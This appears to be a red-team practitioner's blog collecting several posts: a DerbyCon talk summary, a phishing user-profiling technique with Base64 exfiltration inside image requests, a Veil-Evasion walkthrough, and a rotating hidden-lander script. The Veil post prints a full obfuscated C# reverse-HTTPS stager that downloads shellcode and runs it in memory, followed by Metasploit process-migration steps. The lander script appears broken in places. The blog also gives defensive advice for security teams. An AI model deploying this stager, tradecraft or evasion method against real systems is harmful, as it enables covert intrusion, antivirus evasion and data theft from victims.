DerbyCon briefing 2018

Hi All,
I didn’t get as much time as I needed, so here is the briefing with a few additional slides added.

Video of briefing:

It was interesting to see several other briefings that were about the same exact underlying point, but coming up with different creative solutions.

“Gryffindor | Pure Javascript, Covert Exploitation” by Matthew Toussain of BlackHills Security, and “FoxTrot C2: A Journey of Payload Delivery” by Dimitry Snezhkov were both tool reveal talks, but focused on the same underlying points as my talk.

1. Real world attackers have more resources than Red Teams
3. Detecting a Red Team may give a client the wrong impression that they are resilient to targeting by an APT

Both of their talks addressed this fact by releasing new and novel tools. In this case endpoint agents (Gryffindor), and C2 (FoxTrot C2). My idea was just to skip the details of endpoint compromise and phishing, whitelist the payload, and by doing so bring yourself into parity with an APT. You are inside the network, you have persistence, let the real test begin. So I guess you could say my idea was born out of pragmatism and the notion that although staying even with APT’s may be possible for periods at a time it is not sustainable for the red teaming community over the long haul.

This is just a call to use stealthy Internal Penetration Testing where the SOC is being tested. This is not a new idea, or something I made up. This is simply a new way to frame and think of an already existing style of engagement. If we agree with the “Assume Breach” mentality we should consider a stealthy internal test as the closest thing to real world threat emulation. Unless you are a red team with a golden ticket to break the law. If that’s the case, let me know if you are hiring. Let me know what your thoughts are.

Sam (keyzer a.T.

Thoughts on user profiling

Boy oh boy has it been awhile. New job, new state, new house, new excuses 🙂

I wanted to make a post on the subject of user profiling as a way to document and work out my own thoughts on the subject. Sometimes things that sound great in your head look utterly stupid once you put them to “ink”. This is also a good time to talk about a script that I pushed to Github:

This script has some background info on the Github page, including info on the original author of the script. I took his work, added the Flash support, minimized, and packed the script, then put it inside legitimate jQuery. The profiling exfill method was modified to be inside a Base64 image GET request rather than a POST.

This post is looking to discuss the value of profiling users and if there are other benefits that have been overlooked.

Profiling activity through websites can be broken down into two catgegories:

  • Passive – no profiling script. Attacker is just looking at UserAgent in GET requests on attacker controlled domain
  • Active – profiling script and/or cookies are used. Attacker monitors POST or encoded GET request output from the profiling script

The obvious benefit to Passive is that there is no “script” for the victims SOC to find in the event that an email gets flagged as suspicious. The downside is that there are limitations to the info you can get from a UserAgent; information such as support for Flash and Java will not be present. The benefits to active are the exact inverse of passive. That being said, plenty of legitimate “profiling” scripts are being used by non-malicious websites to make sure proper content is being delivered. The rewards far outweigh the risks in my opinion. I might make an exception if the target is a known “hard target” or person of importance that will have email under a higher degree of scrutiny.

Focusing on the active side of things, what do we want to get out of profiling?

The obvious answer is, “the users plugins and versions so we can create a targeted exploit if applicable.” While that is still true, I believe that this is largely becoming less relevant as Flash phases out slowly. Corporations often times need to run Java, but sending an “exploit” to the endpoint is fairly risky when you don’t know what EDR products are on the workstation. Criminals have no problems doing this back in the day with exploit kits because it’s a number game and they aren’t trying to target one specific corporation like a Red Teamer is.

A more nuanced benefit is that you can get an idea which users are likely to click on links, and then follow up down the road with an actual payload for the specific users that are known “clickers”. No point in spraying your malicious link across an organizations inboxes if you don’t have to. APT’s are well known for performing recon before delivering payloads, but many Red Teams do not since they are on a tight timeframe. I have no scientific data to back it up, but the inclusion of screen resolution is my favorite piece of data returned. Why? Most sandboxes have very low resolutions, and I don’t believe I have ever seen more modern resolutions like 1920x. Additionally, if you get some crazy high resolution like 3840 I would stereotypically say that user might be a higher priority target like a developer or sys admin. I would also caution that those are the users more likely to report phishing or poke at your infrastructure. My ideal target is running IE and 1600 ish resolution. No technical users surf the web with IE if they have any other options, and not too many orgs don’t have Chrome/Chromium or Firefox alongside the corporate mandated IE for some crappy legacy app that absolutely must be supported. So anyone with IE and a lower resolution is often times our standard, non technical office grunt. That being said, sometimes if people are clicking on links inside Outlook it will open in IE as a default browser.

An additional benefit is that you can embed a profiling script on a web page which contains a payload and then send each targeted user a link to a unique URI. For example, send users a link to where each unique_id is correlated to a particular targeted user. The profiling script which I have put on github is designed to be used in this method. You would be amazed at how much traffic your site starts getting as soon as you start phishing. Being able to determine what the “leak” is and if requests outside your targeted user are general spidering behavior, or threat hunters performing targeted “poking” are useful to gauge the overall security posture of your target. On engagements before I have heard a Tier2 SOC analyst proudly say, “Did you see my request to your site, I used the Google Bot User Agent?” Of course a seasoned SOC will not typically touch any suspected attack infrastructure. But….. this is the real world and it happens.

The profiling script which is 90% the code created by Christian Ludwig and cited on my github is pretty standard. It give you the following info.

http://localhost:8000/index.php?id=sam|OS: Mac OS X 10.13|Browser: Firefox 60 (60.0)|Mobile: false|Flash: 29.0 r0|Java: false|Cookies: true|Screen Size: 1680 x 1050|Language: en-US|Full User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

The original request inside your access log will look as follows:

Example Log output: [Mon Apr 16 11:51:17 2018] ::1:63582 [200]: /analytics.gif?uid=aHR0cDovL2xvY2FsaG9zdDo4MDAwL2luZGV4LnBocD9pZD1zYW18T1M6IE1hYyBPUyBYIDEwLjEzfEJyb3dzZXI6IEZpcmVmb3ggNjAgKDYwLjApfE1vYmlsZTogZmFsc2V8Rmxhc2g6IDI5LjAgcjB8SmF2YTogZmFsc2V8Q29va2llczogdHJ1ZXxTY3JlZW4gU2l6ZTogMTY4MCB4IDEwNTB8TGFuZ3VhZ2U6IGVuLVVTfEZ1bGwgVXNlciBBZ2VudDogTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTAuMTM7IHJ2OjYwLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNjAuMA==

Happy Profiling.

Veil-Evasion, and Process Injection monitoring with ProcMon

I’m taking a break from the Bears writeup to look at the swiss army knife payload generator and obfuscation tool Veil-Evasion. For those not familiar, it is a fairly foolproof way to get your payloads around client side AV. Most AV products suck, but they are still good enough to catch any default payloads from metasploit. The goal of veil is to give you similar tools to what the guys out there doing this for a living actually have. Major props to @harmj0y and the crew behind Veil. Today I am going to generate a payload, run it, migrate to hide it, and then see what things look like from the endpoint. There are LOTS of cool payloads so I recommend checking it out.

For this initial go around I will use a meterpreter rev_https shell which is a tried and true way to get around most firewalls. Since I am going to do a rev_https shell, it makes sense that I set my listener to 443. At a casual glance IR/CIRT might assume that it is https traffic to a local web server. Enter your LHOST and LPORT, then simply type “generate” to run and compile the C# code. As the splash mentions, don’t be an ass and submit the code to VirusTotal or malwr.

 Veil-Evasion | [Version]: 2.28.2
 [Web]: | [Twitter]: @VeilFramework

 [*] Executable written to: /var/lib/veil-evasion/output/compiled/service.exe

 Language:		cs
 Payload:		cs/meterpreter/rev_https
 Required Options:      COMPILE_TO_EXE=Y  LHOST=  LPORT=443
 Payload File:		/var/lib/veil-evasion/output/source/service.cs
 Handler File:		/var/lib/veil-evasion/output/handlers/service_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

Let’s take a look at the source code before we run the exe on a Win10 box. I won’t dig into the details of the loops since we already know this is a reverse shell which is going to beacon out. Looking at the random strings and methods of building arrays should look fairly familiar if you have spent any time looking at VBS macro droppers which are automated in a similar fashion. We can see the Crypto libraries for the encrypted SSL comms, we can see the faked user agent strings, and that the C2 is actually going to be passed from the attack box to the victim in the URI.

KcgNMLCmI = HVITufm("" + hSIyuaclhbIKw(VUrMJJNOMylnMo));

On a typical engagement this would likely be an innocuous sounding domain name pointing to your handler running in AWS or similar. Would you immediately be suspicious of a domain like this in your traffic?

I wouldn’t.. Consider that when I go to CNN with firebug on, I see stuff like this which is legit.®ion=30&btreg=316303355&btadsrv=doubleclick&crt=78198179&crtname=&chnl=&unit=&pid=&uid=&dvtagver=6.1.src

Still doubt me?

This is why it is so damn hard to be on the defensive side. Your best bet is defending the endpoints since network traffic is a guessing game even if you are in an environment that can stomach domain white listing.

Anyhow, here is the code generated for the reverse shell by Veil-Evasion.

using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
namespace qmVybJ { class HwPXMGnl {
private static bool yzrhGgHYX(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }
static string wvenQNG(Random r, int s) {
char[] ucSiUmAtHTox = new char[s];
string jPzxWRqspJKAoqR = "SUjRIxarp3mEJflcFAvVozD7d84wCtYXGWKOMy96TqZs25QgkN01uhBLeinPHb";
for (int i = 0; i < s; i++){ ucSiUmAtHTox[i] = jPzxWRqspJKAoqR[r.Next(jPzxWRqspJKAoqR.Length)];}
return new string(ucSiUmAtHTox);}
static bool YqULHNvuyxpbUR(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);}
static string hSIyuaclhbIKw(Random r) { string xRxnMrflSbj = "";
for (int i = 0; i < 64; ++i) { xRxnMrflSbj = wvenQNG(r, 3);
string talfjdJc = new string("m41NbdYgfGQjW3nzOHUS7pksIZl2y9ciVXrvAB0xTKaquCPF5EoJM8tehDR6wL".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
for (int j = 0; j < talfjdJc.Length; ++j) {
string rFFdcaABTwojeR = xRxnMrflSbj + talfjdJc[j];
if (YqULHNvuyxpbUR(rFFdcaABTwojeR)) {return rFFdcaABTwojeR;}}} return "9vXU";}static byte[] HVITufm(string tVjsDhLPDKHNf) {
ServicePointManager.ServerCertificateValidationCallback = yzrhGgHYX;
WebClient FPcGsTebmeYWk = new System.Net.WebClient();
FPcGsTebmeYWk.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
FPcGsTebmeYWk.Headers.Add("Accept", "*/*");
FPcGsTebmeYWk.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
FPcGsTebmeYWk.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
byte[] aDwIpKd = null;
try { aDwIpKd = FPcGsTebmeYWk.DownloadData(tVjsDhLPDKHNf);
if (aDwIpKd.Length < 100000) return null;}
catch (WebException) {}
return aDwIpKd;}
static void QWtlFDGkN(byte[] HuHeuyxoa) {
    if (HuHeuyxoa != null) {
        UInt32 lgUBVysGbhpUT = VirtualAlloc(0, (UInt32)HuHeuyxoa.Length, 0x1000, 0x40);
        Marshal.Copy(HuHeuyxoa, 0, (IntPtr)(lgUBVysGbhpUT), HuHeuyxoa.Length);
        IntPtr WcqudPV = IntPtr.Zero;
        UInt32 bBKzAFzzBm = 0;
        IntPtr yqAnvgjjBIRQG = IntPtr.Zero;
        WcqudPV = CreateThread(0, 0, lgUBVysGbhpUT, yqAnvgjjBIRQG, 0, ref bBKzAFzzBm);
        WaitForSingleObject(WcqudPV, 0xFFFFFFFF); }}
static void Main(){
Random VUrMJJNOMylnMo = new Random((int)DateTime.Now.Ticks);
byte[] KcgNMLCmI = HVITufm("" + hSIyuaclhbIKw(VUrMJJNOMylnMo));
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 pLnaDIDFdQwKcK,UInt32 kugvrUNzuh, UInt32 ixrbXNyJBMXzr, UInt32 ISTUcXfe);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 EnjOYJzc, UInt32 bDgnvBXv, UInt32 gCOpUanS,IntPtr wbsOhMOIh, UInt32 PaAqAbKiE, ref UInt32 yxbSxjcoOTX);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr ZlWwvPAlz, UInt32 EPJujz); } }

Now let's get the exe onto the victim box and run it. First we setup our metasploit handler which veil has been nice enough to give us a handler file for ( /var/lib/veil-evasion/output/handlers/service_handler.rc). This handy file makes it a one shot deal to get your payload handler running. Once in msfconsole simply type "resource" and then the path to your .rc file.

I am glossing over the initial compromise method since that isn't the focus of this briefing. Let's say we social engineer someone into believing they need to patch their system, and include a link to download the patch.

On the attacker box I see a session being started when the Windows 10 box runs the service.exe. To make things more "difficult" for the defensive side I first interact with the session, then I am going to list processes and migrate to one so that the initial service.exe can get killed and I can live on in process injection.

If you are new to metasploit the following commands inside msfconsole list sessions, interact with one, find processes, then migrate.

sessions -l 
sessions -i session# 
migrate pid#

Since I am masquerading C2 traffic as https traffic it makes sense that I would migrate to something like a browser. Here is a shot of a successful migration to the venerable IE.

On the host box I fire up process hacker like a dutiful sys admin might if he suspected something was suspicious. There is no longer a suspicious "service.exe" and the network connections reveal Internet Explorer talking with websites over the normal 80 and 443. You can obviously pick out the "bad" connection since you know for this demo that I am a local attacker, but if you replaced my local Kali handler with one and AWS and a public IP good luck spotting that. Of course I am eventually going to want to elevate myself as system and migrate to somewhere else for persistence since in my current state if the user kills internet explorer my shell dies with it. For the sake of making this a bit more challenging I will leave my shell inside internet explorer.

Using Process Hacker and looking at strings in memory I can make out the various URI's corresponding to Bing, yahoo, and anything else I have open. Mixed in there is the IP address of the attack box, but if that was an address like I would naturally just assume that my browser was pulling down ads on one of the homepages. Defensive Group Policy like Applocker and changing scripts to open with notepad.exe are a million times more effective than AV or IOC based detection on network traffic. Whitelisting can be bypassed via injection, but for most circumstances if you can stop that js/hta/vbs/exe/com from running in a temp directory you will force the attacker down a much harder avenue. It is a war of attrition. For an added bonus, Applocker is built into Windows so you don't have to blow more money in your company. Looking at the traffic in Wireshark confirms that all the communications are TLS encrypted so unless you have MITM functionality on network traffic you aren't going to have squat.

HOWEVER, if you migrate your meterpreter session into iexplore.exe you find yourself in a sandbox which you weren't in initially. So in theory an attacker could most likely stay in your browser and easily blend in, but in practice an attacker is going to want to be injected into a process operating with elevated privileges and one that doesn't get killed in the event that a user closes the browser. Here is a screenshot showing that while injected into the browser I couldn't view system process and I eventually I got my shell killed when the browser was closed by the user.

Now lets redo the infection and see what things look like if I go the most likely route that an attacker would take. Exiting out of meterpreter I can see that my handler is still running on 443 so there is no reason to re-launch it.

Relaunching the "service.exe" malware from the browser and pulling up Process Hacker shows that this should clearly alarm you due to the location that it is running out of. I can't stress enough that if you want to make life hard for the APT's, ransomware pushers, and pen testers remove the ability for an executable to run out of any TEMP paths like C:\TEMP (older) or the %APPDDATA% (newer) path via Applocker policy.

Now I migrate over to svchost.exe and you can see in process hacker that the connection is coming through the process which I injected into. Process Injection isn't just done by malware, and nothing yells out and alerts you even on Windows10 that a random executable in APPDATA just injected into an application signed by Microsoft.

If you go look at the memory of the svchost.exe which has injection going through it versus your average svchost.exe you do notice that there is a LOT more going on, particulary with crypto libraries being loaded. You can also see some unique strings which indicate what is going on to the trained eye, but only if you are already looking for this.

Let's take a look at what sort of artifacts are created when this process migration goes through. I am going to use SysInternals ProcMon to watch the migration as inject my shell from it's original dropper "service.exe" into the legitimate notepad.exe. I chose this over the previous migrations because these two processes should have less noise. service.exe is all bad, and notepad.exe is simple and should have no network functionality. If I watched the migration to iexplore.exe there would be substantial noise since many of the connectivity modules and hooks would be present under legitimate circumstances as well.

Filtering off of notepad.exe and service.exe, then viewing Network Summary (Under Tools Dropdown) I can clearly see when the hand off has completed.

Actually looking at the events that have been created from this migration are a little more opaque, but you can see the threads being killed inside service and corresponding ones being opened up in notepad.

Stepping back in time, let me look at the Stack before migration.

And now after the trace is complete during the injection we look at the stack.

Running PS to list the processes inside the session shows what that Query looks like, as you would expect it finds all the running processes. The IRP_MJ_QUERY_INFORMATION is a request by the IO/Manager which does exactly what we would expect, it queries the file system for information on files. Pretty cool to be seeing this level of granularity on a command.

Now I migrate my shell into notepad.exe and look at Procmon for what appears to be the first event of the migration, a Thread Create inside notepad followed with a bunch of Thread's being terminated inside the malicious service.exe. Looking at that thread even show's the stack now contains a number of modules only referenced by the memory address and not a known DLL or program.

As we follow along the event timeline and check the stack for service.exe and notepad.exe we can see the migration occurring. Do to the overload of information that Procmon provides thousands of events occur in between. Once you see service.exe no longer in the timeline and you check on notepad you can see the modules running in the stack include the system and communication drivers you would expect of a backdoor shell.

In summation I want to drive home the following.

  1. You should run AV at home and in your Enterprise, but it should not be considered your "endpoint security solution." AV is fairly easy to get around using tools like Veil or custom packers.
  2. Monitoring network traffic is good, particularly for Data Loss Prevention (DLP). It is not good for spotting malicious traffic however since nearly all bad guys are using https which you will never be able to block at the firewall. Domain whitelisting is great, but C2 can still be delivered via googledocs, twitter, instagram, etc, so you have to REALLY be ready to lock down the network and let the users complain.
  3. Process Injection works and it isn't going away. The one choke point you really have as a defender is to block that moment when the user clicks to run the .hta, js, macro, com, scr, exe, ws, ps1, etc. Your best bet is to not allow regular users to ever run scripts or executable's in temp paths via GroupPolicy. Lots of organizations lock it down so you need an admin to install software, but this does nothing to stop a user from running random code out of %APPDATA%. In the end statistics don't lie and that is where malware drops and often times lives out it's entire life.

HP JetDirect in the news… when it isn’t actually news

Last week my twitter feed had a posting noting an article which got coverage about thousands of HP printers allowing anonymous ftp access via the JetDirect protocol.Screen Shot 2016-02-07 at 14.55.37

This was a bit surprising. Not cause of the vulnerability, but because it was making the news since it was actually really old information. The vulnerability in the JetDirect protocol (port 9100) used by HP Printers has been known for years. I first learned about it in 2012 from a team member on a Red Cell, no idea how long he had known about it. Here is an article explaining it in 2013.

Not ragging on the guy that reported it, but all of his headline making security news articles have been nothing more than searching Shodan results for already known issues.

The vulnerability is semi useful on internal networks for hosting malicious files (sometimes code coming from an internal IP is trusted or evades CIRT scrutiny). In theory this makes them the ideal place for miscreants to host malware since http(s) traffic is the best way to blend in with normal traffic and avoid firewall rules.

What this article failed to acknowledge is that 95 out of 100 times uploading a very small file to the HP through JetDirect will crash the service and the server from my testing. In my opinion the threat that these unsecured printers pose on the internet is minimal at best with regards to this. The miscreants that push malware can buy cheap server space using stolen credit cards or anonymous payment methods. Additionally, real web servers that can handle traffic can be infected via WordPress vulnerabilities and misconfigurations nearly as easily as these HP printers with the aid of for targeting. The last thing a criminal wants is for the spear phishing to be successful but the infections to fail due to crappy hosting for the malware.

A more accurate assessment of this threat would be to comb the Shodan results for “Port:9100” looking for malicious files hosted on these HP printers. I am guessing the number would be nearly non-existent and not cause the malware pushers don’t know about the opportunity. Cause it isn’t worth their time.

IMHO a more worthy use of multi function devices for malicious purposes would be trying to configure any digital sender functionality to go through your personal SMTP gateway so that you can take copies of internal documents. If they are using LDAP for authentication that also opens up the possibility of stealing credentials if you can pipe the queries through the attacker box.

Screen Shot 2016-02-07 at 16.56.38

Another printer bites the dust after uploading a file…

Shifty Lander V1

Here is a small sideproject that I had wanted to do for awhile, but hadn’t made the effort until I got some downtime in a hotel.

Creating a unique URl/address/lander/etc that you can find easily, but is hard to locate for a outside party even if they have access to full packet capture (albeit not likely analyzing realtime).

Not inventing the wheel here, but I hadn’t made it myself so why not learn. This same sort of tactic is used by people that hardprogram malware to beacon out to a generated list of domains which shifts according to time. My personal idea for this one is that you have a command and control login page you don’t want people brute forcing, or maybe you are just storing data scraped from cookies on a server and you don’t want it to be static. This allows you to very easily have a resource changing it’s name in a way which you can figure out from any computer that has access to sha1sum. Because you can go to that is every device with a NIC interface….

Obviously if you use this on anyone on the defense side worth a darn will write a rule to block or trigger any callouts to

If you use this generator to make subdomains like the same tactics apply. That being said, what if you use this code with a smtp library to send an email out to and this changes every 24 hours? A bit more difficult to detect.

This is V1, I hope it will grow in capabilities.

On the server with your landing page run this script. python “secret code” path/to/file filename.php
Set it and forget it.

Then wherever you are and you want to login, or check hash dumps that are being posted, etc.
type into your command *nix prompt echo -n “YEAR-MONTH-DAY:secret code” | sha1sum
take that sha1sum output and slap a .php on there and go to your url. login and rejoice that google isn’t indexing it.

This is what it looks like when you run it initially on the server……..
Screenshot from 2015-02-24 19:10:57

This is how you find your landing page wherever you are. Or through an online sha1sum creator…
Screenshot from 2015-02-24 19:09:45

NOTE: I used system calls for hashing, etc. This will not run on a non *nix server. So if you are running this on windowz it is most likely going to have to use python libs and be compiled by the likes of pyexec. If you’ve gone that far you might as well duplicate this functionality in powershell and then post it here 🙂

#!/usr/bin python

from datetime import date
import datetime
import time
import sys
import os

print '''
 __ _     _  __ _           __                 _                    _ 
/ _\ |__ (_)/ _| |_ _   _  / /  __ _ _ __   __| | ___ _ __  /\   /\/ |
\ \| '_ \| | |_| __| | | |/ /  / _` | '_ \ / _` |/ _ \ '__| \ \ / /| |
_\ \ | | | |  _| |_| |_| / /__| (_| | | | | (_| |  __/ |     \ V / | |
\__/_| |_|_|_|  \__|\__, \____/\__,_|_| |_|\__,_|\___|_|      \_/  |_|


if len(sys.argv) == 4:
	code = sys.argv[1]
	path = sys.argv[2]
	page = sys.argv[3]
	print "------------------------------------------------keyzer[at]"
	print "This version changes the landing page every day. You can edit it as you see fit, I wouldn't go under hourly for sure"
	print "The point of this method is that packet monitoring won't give up the landing page unless the analysis is near realtime"
	print "This same method can be used to create subdomains, or exfill to a unique rotating email account (HINT HINT:"
	print "---------------------------------------------------use legally -----------------------------------------------------"
	print "Your secret code is: %s" %(code)
	print "The page that will act shifty is: %s/%s" %(path,page)
	print "To find your lander from a remote computer type: echo -n \"YEAR-MONTH-DATE:CODE\" | sha1sum"
	print "Remember to use the timestamp of the server hosting your website..... Or edit this to be GMT"
	print "Oops!  Proper format (3 args( is as follows...."
	print "python \"secret code\" /absolute/path/ filename.php"

def codecruncher():
	#current format is YEAR-MONTH-DATE  ...... remember this is according to the server time
	currentdatewithcode = str(
	#current format is YEAR-MONTH-DATE:CODE
	currentdatewithcode += ":"+code
	formatstring = "echo -n %s | sha1sum" %(currentdatewithcode)
	hashcode = os.popen(formatstring).read()
	#strips out spaces and "-" at the end of hash output... may vary ?
	hashcode = hashcode[:-4]
	hashcode =hashcode+".php"
	return hashcode

#get the ball rollin before the loop
hashcodeold = codecruncher()
mvstring = "mv %s/%s %s/%s" %(path,page,path,hashcodeold)
print "%s is now: %s" %(page,hashcodeold)

hashcodenew = hashcodeold

while True:
	if hashcodeold == hashcodenew:
		hashcodenew = codecruncher()
		#tests to see if the date has changed every minute
		hashcodenew = codecruncher()
		mvstring = "mv %s/%s %s/%s" %(path,hashcodeold,path,hashcodenew)
		print "filename is: %s" %(hashcodenew)
		hashcodeold = hashcodenew